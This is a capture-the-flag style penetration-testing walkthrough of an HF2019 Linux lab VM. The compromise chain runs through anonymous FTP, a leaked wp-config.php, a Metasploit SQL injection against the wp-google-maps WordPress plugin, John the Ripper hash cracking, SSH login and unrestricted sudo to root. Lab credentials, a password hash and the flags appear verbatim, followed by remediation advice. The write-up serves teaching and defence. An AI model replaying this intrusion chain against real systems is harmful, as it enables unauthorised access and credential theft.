October 19, 2026

HF2019 Linux Walkthrough

HF2019 Linux — Complete Penetration-Testing Walkthrough

By Aswinsunil

14 min read

HF2019 Linux — Complete Penetration-Testing Walkthrough

Lab: HF2019 Linux Attacker machine: Kali Linux Target IP: 10.0.2.6 Attacker IP: 10.0.2.12 Purpose: Document the observed reconnaissance, enumeration, exploitation, credential recovery, SSH access, and privilege escalation performed in this authorized lab.

1. Overview

This walkthrough records the attack path that was actually observed during testing. Commands and findings are based on the terminal output collected during the lab. Where a potential avenue was discovered but not tested, it is identified as an observation rather than a confirmed exploitation step.

Confirmed attack path

  1. Identify the Kali machine's network configuration.
  2. Discover the target host with ARP scanning.
  3. Enumerate the target's exposed services with Nmap.
  4. Access FTP anonymously and download wp-config.php.
  5. Identify WordPress 5.2.3 and the wp-google-maps plugin.
  6. Use the Metasploit wp_google_maps_sqli auxiliary module to retrieve the WordPress user's password hash.
  7. Crack the webmaster user's hash with John the Ripper.
  8. Log in to the target over SSH as webmaster.
  9. Read the user-level flag.
  10. Discover that webmaster can run all commands through sudo, switch to root, and read the root-level flag.

Key findings

ItemObserved valueTarget IP10.0.2.6Operating system identificationDebian Linux, x86_64Kernel reported after SSH login4.19.0-0.bpo.6-amd64FTP21/tcp, vsftpd 3.0.3; anonymous login allowedSSH22/tcp, OpenSSH 7.4p1 DebianHTTP80/tcp, Apache 2.4.25 (Debian)WordPress5.2.3WordPress themeTwenty Seventeen, version 2.2 reported with 80% confidenceWordPress pluginwp-google-maps; plugin version was not determinedWebmin10000/tcp, MiniServ 1.890 over SSL/HTTPWordPress account recoveredwebmasterRecovered passwordkittykat1Initial shell userwebmasterFinal privilege levelroot

Lab-safety note: Run these steps only against your own intentionally vulnerable machine or another system for which you have explicit authorization. Keep vulnerable lab VMs isolated from untrusted networks.

2. Lab setup and network configuration

2.1 Check the attacker's IP address and routes

On Kali, run:

ip -br addr
ip route

Observed output:

lo               UNKNOWN        127.0.0.1/8 ::1/128
eth0             UP             10.0.2.12/24 fe80::a00:27ff:feab:8ebd/64
default via 10.0.2.1 dev eth0 proto dhcp src 10.0.2.12 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.12 metric 100

Interpretation:

  • eth0 is the active Kali network interface.
  • Kali's IPv4 address is 10.0.2.12/24.
  • The /24 prefix corresponds to the subnet mask 255.255.255.0.
  • The directly connected network is 10.0.2.0/24.
  • The default gateway is 10.0.2.1.
  • The lo interface is the local loopback interface.

The 10.0.2.x address range is common in VirtualBox NAT configurations, but the address alone does not prove which network mode is configured. Confirm the VM networking mode in the hypervisor if needed.

2.2 Discover local network neighbors

Run:

ip neigh

This displays known neighbor entries, including IP-to-MAC mappings learned by Kali. An empty result does not prove that a host is absent; Kali may not have communicated with it yet.

2.3 Scan the local network with ARP

Run:

sudo arp-scan --localnet

The observed output identified these responders:

10.0.2.1        52:54:00:12:35:00
10.0.2.2        08:00:27:e7:a8:21
10.0.2.6        08:00:27:d9:8e:69

The target was identified as 10.0.2.6. Its MAC address begins with 08:00:27, which is commonly associated with VirtualBox virtual network interfaces.

The scan also printed warnings that ieee-oui.txt and mac-vendor.txt could not be opened due to permissions. These warnings affected MAC-vendor name lookups; they did not prevent ARP discovery. The scan still received three replies.

Why ARP scanning helps: On a local IPv4 segment, ARP requests can reveal hosts that respond even when you do not yet know their IP addresses. ARP scanning is a discovery step, not a vulnerability test.

3. Service enumeration with Nmap

3.1 Run the initial TCP scan

Run:

nmap -sC -sV -oN hf2019-initial.txt 10.0.2.6

Options used:

  • -sC: run Nmap's default set of safe-enough discovery and enumeration scripts.
  • -sV: probe open ports to identify service versions.
  • -oN hf2019-initial.txt: save the scan in normal text format.
  • 10.0.2.6: the target host.

The scan found four open TCP ports:

PortServiceVersion / identificationWhat it means21/tcpFTPvsftpd 3.0.3File transfer service; anonymous access was allowed22/tcpSSHOpenSSH 7.4p1 Debian 10+deb9u7Remote shell service80/tcpHTTPApache 2.4.25 (Debian)Web server hosting WordPress10000/tcpHTTPS/HTTPMiniServ 1.890 (Webmin)Webmin administration interface

Nmap reported the other 996 scanned TCP ports as closed.

3.2 FTP findings

Nmap's FTP scripts reported:

ftp-anon: Anonymous FTP login allowed (FTP code 230)

The anonymous directory listing contained WordPress files, including:

  • wp-config.php
  • wp-login.php
  • wp-content/
  • wp-admin/
  • wp-includes/
  • xmlrpc.php

This was a high-value finding: an unauthenticated visitor could browse files belonging to the web application and download the WordPress configuration file.

3.3 SSH findings

Nmap identified OpenSSH 7.4p1 on port 22. This provided a possible route for remote login if valid credentials could be recovered.

The SSH host keys in the scan identify the server's host key material; they are not user passwords.

3.4 HTTP findings

Nmap identified Apache 2.4.25 on Debian and a WordPress generator value of 5.2.3. The page title was:

Tata intranet – Just another WordPress site

This established WordPress as a likely focus for further enumeration.

3.5 Webmin finding

Port 10000/tcp exposed MiniServ 1.890, identified as Webmin, with a login page and a certificate whose validity dates were in the past relative to the lab run.

This service was discovered but not exploited in the recorded path. It should be documented as an additional exposed administrative surface, not as a confirmed vulnerability or the cause of root access.

4. Anonymous FTP enumeration

4.1 Connect to FTP

Run:

ftp 10.0.2.6

At the username prompt, enter:

anonymous

The server responded:

230 Login successful.

This confirms that FTP permitted an anonymous session without a normal named account password.

4.2 List files

At the FTP prompt, run:

ls -la

The listing showed the WordPress installation files. Notably, wp-config.php was readable by the FTP account according to the listing:

-rw-rw-r--    1 ftp ftp 3255 Sep 27 2019 wp-config.php

The permission string -rw-rw-r-- means:

  • Owner: read and write.
  • Group: read and write.
  • Others: read.
  • It is a regular file, not a directory.

The exact security impact depends on the FTP service's filesystem permissions and how the FTP account maps to the web directory. In this lab, the file was downloadable.

4.3 Download the WordPress configuration

At the FTP prompt:

get wp-config.php
quit

Then, back in the Kali shell, verify the local file:

ls -l wp-config.php

Observed:

-rw-rw-r-- 1 ezio ezio 3255 Sep 27 2019 wp-config.php

This confirmed that the configuration file had been saved locally.

4.4 Inspect database configuration values

Run:

grep -nE "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|table_prefix" wp-config.php

Observed values:

23:define( 'DB_NAME', 'wordpress' );
26:define( 'DB_USER', 'wordpress' );
29:define( 'DB_PASSWORD', 'nvwtlRqkD0E1jBXu' );
32:define( 'DB_HOST', 'localhost' );
70:$table_prefix = 'wp_';

Interpretation:

  • Database name: wordpress
  • Database account: wordpress
  • Database password: nvwtlRqkD0E1jBXu
  • Database host: localhost
  • WordPress table prefix: wp_

The database password is a secret exposed by the configuration file. It is not automatically the same as a WordPress or SSH password. In the recorded attack path, this database password was not used to establish the SSH session; the later SSH credential came from cracking the WordPress user's password hash.

Security lesson: Anonymous FTP should not expose application source files or secrets. Configuration files containing credentials must be protected by filesystem permissions and web/FTP server configuration.

5. Web enumeration

5.1 Fingerprint the web application with WhatWeb

Run:

whatweb http://10.0.2.6/

The observed result identified:

  • HTTP response: 200 OK
  • Apache: 2.4.25
  • Debian Linux
  • WordPress: 5.2.3
  • Page title: Tata intranet – Just another WordPress site
  • HTML5 and jQuery indicators

WhatWeb performs web technology fingerprinting. It helps identify the technologies and versions exposed by the site; it does not by itself prove that a particular vulnerability is exploitable.

5.2 Check robots.txt and the WordPress login page

Run:

curl -i http://10.0.2.6/robots.txt
curl -I http://10.0.2.6/wp-login.php

Observed:

  • /robots.txt returned 404 Not Found.
  • /wp-login.php returned 200 OK.
  • The login page set the wordpress_test_cookie cookie.

A missing robots.txt file is not itself a vulnerability. A 200 OK response for wp-login.php confirms that the login page is reachable.

5.3 Save and inspect the homepage source

Run:

curl -s http://10.0.2.6/ -o hf2019-homepage.html
grep -inE 'wp-content|wp-google-maps|uploads|admin|user|author' hf2019-homepage.html

The source referenced:

/wp-content/plugins/wp-google-maps/wpgmza_data.js
/wp-content/themes/twentyseventeen/...

This helped identify the wp-google-maps plugin and the Twenty Seventeen theme. The homepage also contained a default WordPress comment, Hello world!, which is a common default-content indicator.

5.4 Check for directory listing in uploads

Run:

curl -s http://10.0.2.6/wp-content/uploads/

The server returned an Apache directory index showing:

2019/
2026/

Then inspect the 2019 directory:

curl -s http://10.0.2.6/wp-content/uploads/2019/

The listing showed:

09/

This confirms directory listing was enabled for the uploads path and that the 2019/09/ path existed. The recorded output did not establish that a particular sensitive file was present in these directories.

Security lesson: Directory indexes can disclose filenames, directory structure, timestamps, and potentially uploaded documents. Disable indexes unless they are intentionally required.

6. WordPress enumeration with WPScan

6.1 Run a passive plugin enumeration

Run:

wpscan --url http://10.0.2.6/ \
  --enumerate p \
  --plugins-detection passive

The scan identified the following findings.

WordPress version

WordPress version 5.2.3 identified

WPScan marked this version as insecure/outdated. The version was identified from the RSS generator metadata. A version disclosure is useful for inventory and vulnerability research, but the version number alone does not prove that every known vulnerability is exploitable in this specific setup.

XML-RPC

WPScan reported that:

http://10.0.2.6/xmlrpc.php

appeared to be enabled. XML-RPC is a WordPress interface used for remote publishing and other integrations. If it is not needed, disabling or restricting it can reduce attack surface. Its presence alone is not proof of a vulnerability.

Readme file

WPScan found:

http://10.0.2.6/readme.html

Public readme files can disclose product information and version clues.

Upload directory listing

WPScan confirmed that directory listing was enabled at:

http://10.0.2.6/wp-content/uploads/

Theme

WPScan identified the active theme as twentyseventeen and reported version 2.2 with 80% confidence. This is a confidence-qualified fingerprint, not an independently verified version.

Plugin

WPScan identified:

wp-google-maps

The plugin's version could not be determined by the passive scan. Its presence in the page source was the basis for the detection.

WP-Cron

WPScan reported that external WP-Cron appeared to be enabled, with 60% confidence. Treat this as a lead rather than a fully confirmed security issue.

API token note

WPScan stated that no WPScan API token was provided, so vulnerability database information was not included in the output. This did not prevent the scanner from identifying the version and plugin.

6.2 Why the plugin became the focus

The wp-google-maps plugin was identified in the WordPress homepage source and by WPScan. Metasploit had an auxiliary module named auxiliary/admin/http/wp_google_maps_sqli associated with a WordPress Google Maps plugin SQL injection issue disclosed on 2019-04-02.

The observed target was running WordPress 5.2.3, and the plugin was present, but its exact plugin version was unknown. The subsequent Metasploit module run produced a positive result, which is the evidence that this path worked in the lab.

7. Exploiting the WordPress Google Maps SQL injection

This section records the successful module run against the intentionally vulnerable lab target. Use only in an authorized environment.

7.1 Search for the module in Metasploit

Start Metasploit and run:

search wp-google-maps

The search returned:

auxiliary/admin/http/wp_google_maps_sqli

This is an auxiliary module, not a payload-based reverse-shell exploit. In the observed run, it retrieved WordPress user information through the SQL injection path.

7.2 Select the module and inspect its options

Run:

use auxiliary/admin/http/wp_google_maps_sqli
options

The relevant options were:

OptionObserved defaultPurposeRHOSTSblankTarget hostRPORT80Target HTTP portTARGETURI/Base path of the WordPress siteDB_PREFIXwp_WordPress table prefixSSLfalseWhether to use SSL/TLSVHOSTblankOptional HTTP virtual hostProxiesblankOptional proxy chain

The DB_PREFIX default matched the $table_prefix = 'wp_'; value recovered from wp-config.php.

7.3 Set the target and run the module

At the Metasploit module prompt, run:

set RHOSTS 10.0.2.6
run

The recorded output included:

[*] 10.0.2.6:80 - Trying to retrieve the wp_users table...
[+] Credentials saved in: /home/ezio/.msf4/loot/20261019030257_default_10.0.2.6_wp_google_maps.j_553206.bin
[+] 10.0.2.6:80 - Found webmaster $P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1 webmaster@none.local
[*] Auxiliary module execution completed.

This is the key exploitation result. The module retrieved a WordPress account named webmaster and its password hash.

The output also shows that Metasploit saved loot locally. Loot files are evidence artifacts and may contain sensitive information. Keep them private and store them only as long as needed for the lab.

7.4 Understand the recovered hash

The recovered value began with $P$, which is a prefix used by the legacy WordPress/PHPass password-hashing format. It is not plaintext. A password hash can be tested against candidate passwords offline; successful recovery depends on the password's strength and the candidate wordlist.

The hash used in the lab was:

$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1

8. Crack the recovered WordPress password hash

8.1 Save the hash

On Kali, the hash was written to a local file:

echo '$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1' > hashxx.txt

The single quotes ensure that the shell writes the $P$... text literally instead of interpreting dollar signs as shell variable syntax.

8.2 Run John the Ripper

The attempted command was:

john --wordlist=/usr/share/wordlists/rockyou.txt hashxx.txt

John identified the hash format as:

phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3]

It then reported:

No password hashes left to crack (see FAQ)

This message does not necessarily mean the password is uncrackable. John may already have the hash recorded in its pot file from an earlier run, so there is no remaining uncracked hash to process in that invocation.

8.3 Display recovered credentials

Run:

john hashxx.txt --show

Observed result:

?:kittykat1
1 password hash cracked, 0 left

The output revealed the plaintext password kittykat1. The username was associated with the hash by the Metasploit output: webmaster.

Therefore, the credentials to test against the lab's SSH service were:

Username: webmaster
Password: kittykat1

Important distinction: The password recovered here was the WordPress user's password hash. Its reuse for SSH was confirmed by the successful SSH login in the next step; credential reuse should never be assumed without testing in an authorized environment.

9. Obtain SSH access as webmaster

9.1 Connect to SSH

Run:

ssh webmaster@10.0.2.6

When prompted for the password, enter the recovered password:

kittykat1

The session opened successfully and showed:

Linux HF2019-Linux 4.19.0-0.bpo.6-amd64 #1 SMP Debian 4.19.67-2~bpo9+1 (2019-09-10) x86_64

This confirms the machine's hostname as HF2019-Linux, its reported kernel version, Debian-derived environment, and x86_64 architecture.

9.2 Interpret the post-quantum warning

The SSH client displayed a warning that the connection was not using a post-quantum key exchange algorithm. This is a cryptographic modernization warning about the negotiated key exchange and potential future "store now, decrypt later" risks. It did not prevent the login and was not the cause of the lab compromise.

The SSH banner also displayed a last-login record. Login-history output can be useful evidence, but the displayed timestamp should be interpreted in the context of the lab VM's clock.

10. Read the user-level flag

After logging in as webmaster, run:

ls -la
cat flag.txt

The directory listing showed a flag.txt file readable by webmaster. The file contained:

83cad236438ff0c0dbce55d7f0034aee18f5c39e

Record this as the user-level flag for the lab.

This step confirmed that the recovered account provided an interactive shell and access to the user's home directory.

11. Check for privilege escalation opportunities

11.1 Inspect sudo permissions

As webmaster, run:

sudo -l

After entering the account password, the target returned:

Matching Defaults entries for webmaster on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User webmaster may run the following commands on localhost:
    (ALL) ALL

The important line is:

(ALL) ALL

This means the account is permitted to run commands as any user, including root, through sudo. The policy is effectively unrestricted for this account.

The env_reset and secure_path defaults do not compensate for granting unrestricted sudo privileges.

11.2 Switch to root

The observed command was:

sudo su

The prompt changed from:

webmaster@HF2019-Linux:~$

to:

root@HF2019-Linux:/#

This confirms that the privilege escalation succeeded. It was not necessary to exploit a kernel vulnerability: the account's sudo policy already allowed root-level command execution.

Root cause: Excessive sudo privileges granted to the webmaster account.

12. Read the root-level flag

From the root shell, run:

cd /root
ls
cat flag.txt

The root directory contained flag.txt, whose contents were:

3dcdf93d2976321d7a8c47a6bb2d48837d330624

Record this as the root-level flag.

At this point, the lab's objective of obtaining root access and reading the root flag was complete.

13. Attack-chain summary

Kali Linux (10.0.2.12)
        |
        | ARP discovery
        v
HF2019 Linux (10.0.2.6)
        |
        | Nmap: 21, 22, 80, 10000 open
        v
Anonymous FTP access
        |
        | Download wp-config.php
        v
WordPress configuration and plugin identification
        |
        | WPScan: WordPress 5.2.3; wp-google-maps present
        v
Metasploit wp_google_maps_sqli
        |
        | Retrieve webmaster's PHPass hash
        v
John the Ripper
        |
        | Recover password: kittykat1
        v
SSH login as webmaster
        |
        | sudo -l shows (ALL) ALL
        v
sudo su
        |
        v
Root shell and root-level flag

Confirmed vulnerabilities and weaknesses

  1. Anonymous FTP access exposed the WordPress application files.
  2. The FTP-accessible wp-config.php disclosed database credentials.
  3. The WordPress Google Maps plugin was vulnerable to the SQL injection path used by the Metasploit module in this lab.
  4. The SQL injection exposed a password hash that was crackable with the available wordlist.
  5. The recovered password was also accepted for SSH, demonstrating credential reuse.
  6. The webmaster account had unrestricted sudo privileges.
  7. Directory listing was enabled for the WordPress uploads directory.
  8. The target exposed an additional Webmin service on port 10000 that was not investigated further in the recorded path.

Findings that were observed but not exploited

  • Webmin/MiniServ on port 10000.
  • WordPress XML-RPC endpoint.
  • WordPress readme file and external WP-Cron behavior.
  • Upload-directory contents beyond the observed directory listings.

These are useful leads for a future assessment, but they should not be described as exploited vulnerabilities in this walkthrough.

14. Remediation recommendations

The following changes address the weaknesses demonstrated by the lab.

14.1 Secure FTP

  • Disable anonymous FTP unless there is a documented business requirement.
  • Prefer authenticated, encrypted file transfer such as SFTP or an appropriately configured FTPS service.
  • Ensure the FTP account cannot read application configuration files or sensitive web-root content.
  • Review filesystem ownership and permissions so that web application files are not unnecessarily writable by the FTP service account.
  • Review FTP logs and access history.

14.2 Protect WordPress configuration and secrets

  • Prevent FTP and HTTP users from reading wp-config.php unless access is explicitly required.
  • Restrict file permissions and ownership according to the web server's deployment model.
  • Rotate the exposed database password and any other credentials stored in the file.
  • Use a database account with only the privileges WordPress needs.
  • Do not reuse database credentials for SSH or other services.

14.3 Patch WordPress and plugins

  • Upgrade WordPress from the old 5.2.3 release to a supported, current version after compatibility testing.
  • Update or remove vulnerable plugins, including the identified Google Maps plugin.
  • Remove unused plugins and themes.
  • Subscribe to security advisories for WordPress core, themes, and plugins.
  • Restrict plugin installation and editing to trusted administrators.
  • Consider a web application firewall as a defense-in-depth measure, not a substitute for patching.

14.4 Protect password hashes and user accounts

  • Investigate the SQL injection vulnerability and patch or remove the affected plugin version.
  • Use unique, strong passwords for WordPress, SSH, databases, and administrative services.
  • Require multifactor authentication for administrative web access where supported.
  • Disable password-based SSH authentication where operationally feasible and use managed SSH keys.
  • Restrict SSH access to trusted source addresses or a VPN.
  • Monitor repeated authentication attempts and review logs for suspicious access.

14.5 Remove unrestricted sudo permissions

  • Remove (ALL) ALL from the webmaster account unless unrestricted administrative access is explicitly necessary.
  • Grant only the minimum specific commands required for the account's job.
  • Avoid broad wildcards and commands that can launch shells or modify privileged files.
  • Regularly audit /etc/sudoers and /etc/sudoers.d/ using visudo.
  • Treat a compromised account with unrestricted sudo as a likely full-system compromise.

14.6 Harden directory listings and exposed services

  • Disable Apache directory indexing for upload and application directories unless required.
  • Review uploaded files for sensitive information and remove unnecessary content.
  • Disable XML-RPC if it is not required, or restrict it to expected clients and functionality.
  • Review the purpose and exposure of Webmin on port 10000; restrict access and keep it updated.
  • Use supported TLS configurations and valid certificates for administrative interfaces.
  • Keep the operating system, web server, SSH server, PHP runtime, database, and administrative services patched.

14.7 Incident-response actions for a real system

If equivalent findings were discovered on a real production host:

  1. Preserve relevant logs and evidence.
  2. Restrict the exposed services while avoiding unnecessary destruction of evidence.
  3. Rotate all secrets exposed through configuration files or hashes.
  4. Review web, FTP, SSH, database, and sudo logs for suspicious activity.
  5. Investigate whether the attacker created accounts, modified files, installed persistence, or accessed other systems.
  6. Rebuild from a trusted source if system integrity cannot be established.
  7. Document the timeline, scope, remediation, and verification results.

15. Troubleshooting notes

arp-scan reports MAC vendor database permission warnings

The warning about ieee-oui.txt or mac-vendor.txt means the vendor lookup files could not be read. The scan can still identify responding IP and MAC addresses, as it did in this lab.

robots.txt returns 404

A missing robots.txt is common and does not establish a vulnerability. Continue enumeration using the actual application and exposed services.

WPScan does not show vulnerability database details

The scan reported that no WPScan API token was provided. Version and plugin identification can still be useful, but vulnerability intelligence may be incomplete. Verify findings with trusted advisories and the exact installed component version.

John reports "No password hashes left to crack"

John may have already cracked the hash in a previous run and stored the result in its pot file. Use:

john hashxx.txt --show

to check for recovered passwords. A "no hashes left" message is not, by itself, proof that a password is strong or impossible to recover.

SSH displays a post-quantum key exchange warning

This warning did not block the lab login. It indicates that the negotiated key exchange did not use a post-quantum algorithm. It is separate from the credential weakness that enabled access in this walkthrough.

Webmin is visible but not part of the successful path

The Nmap scan found Webmin on port 10000. Because it was not exploited during the recorded run, do not infer a Webmin vulnerability or attribute root access to it.

16. Evidence and results checklist

  • Kali IP and route information recorded.
  • Target discovered at 10.0.2.6.
  • Nmap scan saved as hf2019-initial.txt.
  • Anonymous FTP login confirmed.
  • wp-config.php downloaded and inspected.
  • WordPress and plugin fingerprints collected.
  • WPScan results collected.
  • Metasploit module retrieved the webmaster hash.
  • John the Ripper recovered the password kittykat1.
  • SSH login as webmaster succeeded.
  • User-level flag read.
  • Unrestricted sudo permission confirmed.
  • Root shell obtained using sudo su.
  • Root-level flag read.
  • Webmin examined further — not performed.
  • XML-RPC examined further — not performed.
  • Upload subdirectories examined for file contents — not fully performed.
  • Cleanup and restoration of the lab VM — dependent on the user's environment.

Flags captured

User-level flag

83cad236438ff0c0dbce55d7f0034aee18f5c39e

Root-level flag

3dcdf93d2976321d7a8c47a6bb2d48837d330624

17. Final conclusion

The HF2019 Linux lab was compromised through a chain of application and configuration weaknesses rather than a single kernel exploit. Anonymous FTP exposed the WordPress configuration file; WordPress enumeration identified the Google Maps plugin; the Metasploit SQL injection module retrieved the webmaster password hash; John the Ripper recovered the password; and the same credential provided SSH access. Finally, unrestricted sudo permissions allowed webmaster to become root immediately.

The most important lessons are to protect application configuration files, patch WordPress plugins, prevent credential reuse, limit remote administration, and apply least privilege to sudo rules. The exposed Webmin service and other WordPress endpoints should be assessed separately because they were discovered but not used in the successful attack chain.